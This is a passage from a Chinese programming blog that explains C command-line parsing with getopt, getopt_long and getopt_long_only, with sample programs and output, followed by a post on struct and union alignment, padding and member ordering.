        printf("argv[optind]\t\t%s\n", argv[optind]);
        printf("optopt\t指向出错字符串\t%d\n", optopt);
        printf("opterr\t若出错输出消息\t%d\n", opterr);
        printf("\n");
    }
}

这段代码将演示getopt()的使用方法与 getopt()调用中相关的变量的变化．
请读者一定要使用-a 234 -b -c456 -d 789 -e -f -h -g作为参数运行该程序，查看输出逐个分析原因．

笔者得到的输出内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    ch  函数的返回值    a
optarg  当前选项的参数  234
optind  指向下个字符串  3
argv[optind]            -b
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    b
optarg  当前选项的参数  -c456
optind  指向下个字符串  5
argv[optind]            -d
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    d
optarg  当前选项的参数  (null)
optind  指向下个字符串  6
argv[optind]            789
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    e
optarg  当前选项的参数  (null)
optind  指向下个字符串  8
argv[optind]            -f
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    f
optarg  当前选项的参数  (null)
optind  指向下个字符串  9
argv[optind]            -h
optopt  指向出错字符串  0
opterr  若出错输出消息  1

./getopt1.out: invalid option -- 'h'
    ch  函数的返回值    ?
optarg  当前选项的参数  (null)
optind  指向下个字符串  10
argv[optind]            -g
optopt  指向出错字符串  104
opterr  若出错输出消息  1

./getopt1.out: option requires an argument -- 'g'
    ch  函数的返回值    ?
optarg  当前选项的参数  (null)
optind  指向下个字符串  11
argv[optind]            (null)
optopt  指向出错字符串  103
opterr  若出错输出消息  1

值得特别关注的是：

  • 第 2 段，-c456 被解释为 选项b 的参数，而不是 选项c 和其参数 456．
  • 第 4 段，定义为含有可选参数的 选项d 的参数为 null ，而不是 789，因为可选参数的选项的参数和选项间不能加空格，要使 789 为 选项d 的参数，则该写为 -d789．

请读者再次以参数 -ab -c123 -de -fx 执行该程序．

笔者得到的输出内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    ch  函数的返回值    a
optarg  当前选项的参数  b
optind  指向下个字符串  2
argv[optind]            -c123
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    c
optarg  当前选项的参数  123
optind  指向下个字符串  3
argv[optind]            -de
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    d
optarg  当前选项的参数  e
optind  指向下个字符串  4
argv[optind]            -fx
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    f
optarg  当前选项的参数  (null)
optind  指向下个字符串  4
argv[optind]            -fx
optopt  指向出错字符串  0
opterr  若出错输出消息  1

    ch  函数的返回值    x
optarg  当前选项的参数  (null)
optind  指向下个字符串  5
argv[optind]            (null)
optopt  指向出错字符串  0
opterr  若出错输出消息  1

值得特别关注的是：

  • 第 1 段，b 被解释为 选项a 的参数，而不是 选项a 和 选项b ．请将第 1 段 和 第 4 与 第 5 段比较， -fx 被解释为了 选项f 和 选项x ．
  • 第 4 段，定义为可选参数的 选项d的参数为 null ，而不是 789，因为含「可选参数的选项的参数」和选项间不能加空格，要使 789 为 选项d 的参数，则该写为 -d789．

    长选项

    长选项以两个「-」开头，长选项的参数写法可以为以下两种格式：「--arg=param」或「--arg param」．

    基本信息

1
2
3
4
5
6
7
8
9
10
#include <getopt.h>
struct option
{
    const char *name;
    int has_arg;
    int *flag;
    int val;
};
int getopt_long(int argc, char *const argv[], const char *optstring, const struct option *longopts, int *longindex);
int getopt_long_only(int argc, char *const argv[], const char *optstring, const struct option *longopts, int *longindex);

getopt_long()

  • argc、argv 不必解释含义．
  • optstring：当程序只接受长选项时，optstring 应该为 ""（空字符串），而不是 NULL．
  • longopts：是一个 struct option 的数组．
  • name
    is the name of the long option.
  • has_arg
    is: no_argument (or 0) if the option does not take an argument; required_argument (or 1) if the option requires an argument; or optional_argument (or 2) if the option takes an optional argument.
  • flag
    specifies how results are returned for a long option.
    • If flag is NULL , then getopt_long() returns val . (For example, the calling program may set val to the equivalent short option character.)
    • Otherwise, getopt_long() returns 0, and flag points to a variable which is set to val if the option is found, but left unchanged if the option is not found.
  • val
    is the value to return, or to load into the variable pointed to by flag .>The last element of the array has to be filled with zeros.[1]

也就是说：

  • name
    选项名．
  • has_arg
    需要为 no_argument（无参数）、required_argument（需要参数）、optional_argument（可选参数）这三个宏中的一个．
  • flag、val
    当解析到该长选项时：
    • 如果 flag 为 NULL，getopt_only() 返回 val．（例如，调用者设置 val 为对应的短选项字符）
    • 如果 flag 不为 NULL，getopt_only() 返回 0，并且 flag 指向的变量将被设置为 val．当未解析的该选项时，flag 指向的值不变．
      longopts 数组的最后一个元素需要全部字段为 0．

If longindex is not NULL, it points to a variable which is set to the index of the long option relative to longopts.[1]
如果 longinedx 不是 NULL，它指向的值将被设置为解析到的长选项在 longopt 中的索引．

getopt_long_only()

getopt_long_only() 与 getopt_long() 是相似的．但 - 开头的选项也被认为是选项，当选项以 - 开头时，getopt_long_only() 将认为他是一个长选项．当选项以 - 开头且不匹配长选项但却能匹配短选项时，getopt_long_only() 将这个选项解析为短选项．

整理整理思路．

对于一个以 - 开头的选项：

  • getopt_long() 认为他是一个短选项
  • getopt_long_only() 认为他是一个长选项
    换而言之，-ab 在 getopt_long() 眼中解释为：「选项a和选项b」或者「选项a和选项a的参数b」；但是 getopt_long_only() 将他首先解释为「长选项ab」，除非 longopts 的数组中不包含一个 name 为 ab 的长选项．

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>     /* for printf */
#include <stdlib.h>    /* for exit */
#include <getopt.h>
int
main(int argc, char **argv)
{
   int c;
   int digit_optind = 0;
   while (1) {
       int this_option_optind = optind ? optind : 1;
       int option_index = 0;
       static struct option long_options[] = {
           {"add",     required_argument, 0,  0 },
           {"append",  no_argument,       0,  0 },
           {"delete",  required_argument, 0,  0 },
           {"verbose", no_argument,       0,  0 },
           {"create",  required_argument, 0, 'c'},
           {"file",    required_argument, 0,  0 },
           {0,         0,                 0,  0 }
       };
       c = getopt_long(argc, argv, "abc:d:012",
                long_options, &option_index);
       if (c == -1)
           break;
       switch (c) {
       case 0:
           printf("option %s", long_options[option_index].name);
           if (optarg)
               printf(" with arg %s", optarg);
           printf("\n");
           break;
       case '0':
       case '1':
       case '2':
           if (digit_optind != 0 && digit_optind != this_option_optind)
             printf("digits occur in two different argv-elements.\n");
           digit_optind = this_option_optind;
           printf("option %c\n", c);
           break;
       case 'a':
           printf("option a\n");
           break;
       case 'b':
           printf("option b\n");
           break;
       case 'c':
           printf("option c with value '%s'\n", optarg);
           break;
       case 'd':
           printf("option d with value '%s'\n", optarg);
           break;
       case '?':
           break;
       default:
           printf("?? getopt returned character code 0%o ??\n", c);
       }
   }
   if (optind < argc) {
       printf("non-option ARGV-elements: ");
       while (optind < argc)
           printf("%s ", argv[optind++]);
       printf("\n");
   }
   exit(EXIT_SUCCESS);
}

[3]

编译并以 ./getopt_long -add --append -d34 -1 --verbose 运行，程序的输出为：

1
2
3
4
5
6
option a
option d with value 'd'
option append
option d with value '34'
option 1
option verbose

上面的代码中，如果把第 21 的代码中的 getopt_long 改成 get_long_only 再次编译并以相同的参数运行就会得到如下的输出：

1
2
3
4
option add with arg --append
option d with value '34'
option 1
option verbose

区别很明显．

getopt_long() 将 -add 解释为了 选项a、选项 d、选项 d 的参数 d．

getopt_long_only() 将 -add 解释为了 选项 add．

参考书籍

1. W.RichardStevens.Stephen.UNIX环境高级编程[M].第3版.戚正伟,译.北京:人民邮电出版社 ↩
2. C++ 命令行参数解析.[G/OL].CSDN.https://blog.csdn.net/qq_34719188/article/details/83788199 ↩
3. Linux Programmer’s Manual.[G/OL].https://man7.org/linux/man-pages/man3/getopt.3.html ↩
发表Dev20 分钟读完 (大约2952个字)

数据结构对齐

数据结构对齐

对于大多数 x86-64 指令来说，保持数据对齐能够提高效率，但是它不会影响程序的行为．另一方面，如果数据没有对齐，某些型号的 Intel 和 AMD 处理器对于有些实现多媒体操作的 SSE 指令，就无法正确执行．这些指令对 16 字节数据块进行操作，在 SSE 单元和内存之间传递数据的指令要求内存地址必须是 16 的倍数．任何试图以不满足对齐要求的地址来访问内存都会导致异常，默认的行为是程序终止．[1]

结构体的大小不总是等于各数据成员的大小之和

1
2
3
4
5
6
7
struct test
{
    char a;
    long b;
    int c;
    char d;
};

结构体的大小不总是等于各数据成员的大小之和，但事实上结构体的成员间 常常 存在「空隙」．
例如上面的结构体，在笔者的设备上的大小为: 24 byte，但「各成员的大小的和」仅为 14 byte．
经过简单的计算就知道该结构体中有 41.6% 的没有被利用，这不一定是一件坏事，但是在可用内存较小的设备上创建过多的该类结构体可能不是一个好的做法．

对齐的方式

基本数据类型的「对齐要求」

上文说到结构体的数据成员间存在「间隙」，但这个间隙到底是如何分布的？

为此，需要了解先每个基本的数据类型的「对齐要求」．

info
INFO

C11 中为定义了 _Alignof 运算符来输出数据的「对齐要求」， _Alignof 的使用方式与 sizeof 类似．

_Alignof 运算符给出一个类型的对齐要求，在关键字 _Alignof 后面的圆括号中写上类型名即可：

1
size_t d_align = _Alignof(float);

假设 d_align 的值是 4，意思是 float 类型 对象的对齐要求是 4．也就是说，4 是储存该类型值相邻地址的字节数．一般而言，对齐值都应该是 2 的非负整数次幂．[2]

_Alignof(type) 的意义为：「若定义 TYPE a;，则 (unsigned long)&a%_Alignof(type)==0」．

较大的对齐值被称为 stricter 或 stronger，较小的对齐值被称为 weaker．[2]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
int main(void)
{
    printf("char %zu\n", _Alignof(char));
    printf("short %zu\n", _Alignof(short));
    printf("int %zu\n", _Alignof(int));
    printf("void* %zu\n", _Alignof(void *));
    printf("long %zu\n", _Alignof(long));
    printf("long long %zu\n", _Alignof(long));
    printf("float %zu\n", _Alignof(float));
    printf("double %zu\n", _Alignof(double));
    printf("long double %zu\n", _Alignof(long double));

    printf("char %zu\n", _Alignof(const char));
    printf("short %zu\n", _Alignof(const short));
    printf("int %zu\n", _Alignof(const int));
    printf("void* %zu\n", _Alignof(const void *));
    printf("long %zu\n", _Alignof(const long));
    printf("long long %zu\n", _Alignof(const long));
    printf("float %zu\n", _Alignof(const float));
    printf("double %zu\n", _Alignof(const double));
    printf("long double %zu\n", _Alignof(const long double));

    printf("char %zu\n", _Alignof(unsigned char));
    printf("short %zu\n", _Alignof(unsigned short));
    printf("int %zu\n", _Alignof(unsigned int));
    printf("long %zu\n", _Alignof(unsigned long));
    printf("long long %zu\n", _Alignof(unsigned long));
}

可以看到的是：「对齐要求」仅与数据类型本身有关，与 const、signed、unsigned 无关．

结构体的「对齐要求」

一个定义完成的结构体是一个 复合数据类型 ，那么结构体也该有它自己的「对齐要求」．
结构体的对齐要求为其 成员 的「对齐要求」中的最大值．
因此，下面的结构体的对齐要求为：「1、8、4、1」中的最大值，也就是 8，当然也可以用 _Alignof(struct test) 验证刚才的结论．
由此，得到数据结构对齐的要求之1：「结构体地址 满足 结构体的『对齐要求』」．

1
2
3
4
5
6
7
struct test
{
    char a;
    long b;
    int c;
    char d;
};

特别需要注意的是：「对于任意数据类型，数据类型的大小应当为其『对齐要求』的整数倍．」
该要求在基本数据类型中没有意义，因为单个元素总是其「对齐要求」的整数倍．在结构体中，结构体的最后一个成员后 可能 需要添加「空隙」使结构体的大小为其「对齐要求」的整数倍．
由此，得到数据结构对齐的要求之2：「结构体大小 为结构体的『对齐要求』的倍数」．

结构体的「空隙」

讨论完了数据类型的「对齐要求」，现在来看看结构体中的「空隙」究竟是如何分布的．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stddef.h>//提供 offsetof
#include <stdio.h>
struct test
{
    char a;
    long b;
    int c;
    char d;
};
int main(void)
{
    printf("offsetof(struct test, a)\t%lu\n", offsetof(struct test, a));
    printf("offsetof(struct test, b)\t%lu\n", offsetof(struct test, b));
    printf("offsetof(struct test, c)\t%lu\n", offsetof(struct test, c));
    printf("offsetof(struct test, d)\t%lu\n", offsetof(struct test, d));
}

info
INFO

如果你必须确定结构某个成员的实际位置，应该考虑边界对齐因素，可以使用 offsetof 宏（定义于 stddef.h）．

1
offsetof( type, member )

type 就是结构的类型，member 就是你需要的那个成员名．表达式的结果是一个 size_t 值，表示这个指定成员开始存储的位置距离结构开始存储的位置偏移几个字节．[3]

根据每个成员的大小和相对结构体开始处的偏移量，能得到下面的表格．

offset内容offset内容
0char a12long b
1—13long b
2—14long b
3—15long b
4—16int c
5—17int c
6—18int c
7—19int c
8long b20char d
9long b21—
10long b22—
11long b23—

根据上文，一个结构体的「对齐要求」为其成员的「对齐要求」的最大值，又因为「对齐要求」通常为 2的幂，那么结构体的「对齐要求」必然是其成员对齐要求的 最小公倍数．即「结构体的首地址」满足「结构体的任一成员」的「对齐要求」．那么，只需要让结构体中的成员的偏移量为成员的「对齐要求」的倍数，那么成员的地址必将满足其「对齐要求」．
由此，得到数据结构对齐的要求之3：「成员的偏移量为成员『对齐要求』的倍数」．

联合的「对齐要求」

联合与结构体相比在「对齐要求」只有些许不同：「联合的『对齐要求』为其最大的成员的『对齐要求』」．
对下面的联合而言，其「对齐要求」为long y;或者说double z;的「对齐要求」，即 8．

1
2
3
4
5
6
union test
{
    char x;
    long y;
    double z;
};

复合数据结构的嵌套

在考虑数据结构对齐的问题时，如果遇到了「复合数据结构」嵌套的情况，只需要把内层的「复合数据结构」当作一个新的数据类型进行思考即可，在思考时不必关注其成员是 基本数据类型 还是 结构体 亦或是 联合体，只需逐层分析，逐层分析其「对齐要求」．

举个例子吧：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct TEST
{
    union U1
    {
        char a;
        int b;
        short c;
    } d;
    long e;
    struct S1
    {
        int f;
        union U1 g;
        unsigned long h;
    } i;
    union U2
    {
        struct S1 j;
        union U1 k;
    } l;
    char m;
};

danger
WARNING

上面这段代码仅为了说明「复合数据结构的嵌套」，代码本身无应用价值且难以理解和维护．实际开发中，除非有十分充足的理由，否则不应当写出类似的代码．

现在笔者尝试分析 struct TEST：

  1. 首先得出 U1 中最大的成员为 int b;，则 U1 的「对齐要求」为 int b; 的「对齐要求」，即 U1 的「对齐要求」为 4．
  2. 又因为 long e; 的「对齐要求」为 8，则 d 与 e 间有 4 bytes 的「间隙」．
  3. 现在分析 S1．
    1. 从 1 中知 U1 的「对齐要求」为 4．又因为 int f; 的大小为 4，所以 f 与 g 间无「间隙」．
    2. unsigned long h; 的「对齐要求」为 8，又因为在 S1 中， h 前面的成员 f 和 g 正好占用了 S1 的前 8 bytes．可知，h 与 g 间无间隙．
    3. 此时共占用 S1 的前 16 bytes ，而 S1 的「对齐要求」为 unsigned long h; 的「对齐要求」，即为 8．可知 h 后无「空隙」．
    4. 又因为 S1 的「对齐要求」为 8，而 d 与 e 共占用 struct TEST 的前 16 bytes，则 i 与 e 间无 「间隙」．
  4. 现在分析 union U2;
    1. 由上：「 struct S1 j; 的『对齐要求』为 8；union U1 k; 的『对齐要求』为 4 」，则 union U2; 的「对齐要求」为：「4、8」中的最大值，即为 8．
    2. k 的「对齐要求」为 4，j 占据了 U2 的前 16 bytes ，则 k 与 j 间无「间隙」．且 k 后无「间隙」．
    3. i 与 l 的「对齐要求」均为 8 ，则i 与 l 间无「间隙」．
  5. char m; 的「对齐要求」为 1，而 l 的「对齐要求」为8，故此 l 与 m 间无「间隙」．
  6. 由上，struct TEST 的「对齐要求」为：「4、8、8、8、1」中的最大值，即为 8．
  7. 最终得到，m 后有 7 bytes 的「空隙」．

调整结构体的成员的顺序

有了上面一大堆的铺垫，笔者相信读者们 数据结构对齐 有了自己的理解．但是还有一个遗留的问题值得在此共同探讨：怎么排列成员才能提高结构体的空间利用率．
答案很简单：「将成员按照其『对齐要求』降序排列」．
重新回到最开始的示例：

1
2
3
4
5
6
7
struct test
{
    char a;
    long b;
    int c;
    char d;
};

将其成员按照「对齐要求」降序排列便得到了：
1
2
3
4
5
6
7
struct test
{
    long b;
    int c;
    char a;
    char d;
};

经过简单的重新排序，struct test 现在只需要占用 16 bytes，节省了 8 bytes．

但是这种做法并不一定是最好的，有时结构体的成员的排列具有逻辑顺序，具有便于开发者理解的作用，重排可能会打破原有的逻辑顺序．

tip
TIP

有时，我们有充分的理由，决定不对结构的成员进行重排以减少因对齐带来的空间损失．例如，我们可能想把相关的结构成员存储在一起，提高程序的可维护性和可读性．但是，如果不存在这样的理由，结构的成员应该根据它们的边界需要进行重排，减少因边界对齐而造成的内存损失．
当程序将创建几百个甚至几千个结构时，减少内存浪费的要求就比程序的可读性更为急迫．在这种情况下，在声明中增加注释可能避免可读性方面的损失．[3]

参考资料

1. Randal E.Bryant.深入理解计算机系统[M].第三版.龚奕利,译.北京:机械工业出版社 ↩
2. Stephen Prata.C Primer Plus[M].第六版.姜佑,译.北京:人民邮电出版社 ↩
3. Kenneth.A.Reek.C和指针[M].徐波,译.北京:人民邮电出版社 ↩
关注我

链接

分类

最新文章

归档

标签

AF_XDP2
ArchLinux1
AssemblyLanguage1
BPF2
BUUCTF1
C9
C++3
CTF1
Cache1
Calculus1
Crypto3
CyberspaceSecurity2
DNSDist2
Fastbin1
GNU/Linux10
Glibc1
Heap3
IPv61
Kernel1
Linux3
Network1
NumberTheory1
OperatingSystem2
PWN4
Powerdns2
Reverse1
STL1
Tcache2
Tools1
UAF1
UnsortBin1
WriteUp2
XDP2
calloc1
eBPF2
git1
io_uring1
kernel2
pdns2
xsk2
×